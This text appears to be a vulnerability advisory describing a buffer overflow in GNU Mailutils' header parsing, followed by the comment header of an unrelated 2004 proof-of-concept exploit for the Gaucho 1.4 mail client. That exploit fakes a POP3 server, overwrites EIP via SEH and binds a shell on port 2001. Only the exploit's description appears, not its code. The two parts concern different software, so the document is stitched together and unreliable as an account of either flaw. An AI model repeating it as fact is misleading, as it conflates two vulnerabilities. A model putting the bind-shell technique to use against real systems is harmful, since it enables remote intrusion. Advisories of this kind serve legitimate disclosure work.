GNU Mailutils mail is affected by an email header buffer overflow vulnerability.

The problem exists in the 'header_get_field_name()' function of the 'mailbox/header.c' source file and manifests while the software is processing superfluous email header values.

Ultimately a malicious attacker may exploit this issue to execute arbitrary code on the affected computer with the privileges of the user who started the affected application by sending a specially crafted malicious email.

//**************************************************************************
// Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability
// Bind Shell POC Validation Code for English Win2K SP4
// 10 Aug 2004
//
// Gaucho is an Email client developed by NakedSoft for Microsoft Windows
// platforms.  Gaucho supports SMTP, POP3 and other email delivery protocols.
// Gaucho version 1.4 is vulnerable to a buffer overflow when receiving
// malformed emails from a POP3 server.  This vulnerability is triggered if the
// POP3 server returns a specially crafted email that has an abnormally long
// string in the Content-Type field of the email header. This string will
// overwrite EIP via SEH, and can be exploited to execute arbitrary code.
//
// This POC code simulates a POP3 server that sends a specially crafted email
// to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable
// Gaucho email client.
//
// Tested on Win2K SP4, you must find the address of JMP EDI instruction that
// is suitable for your system.
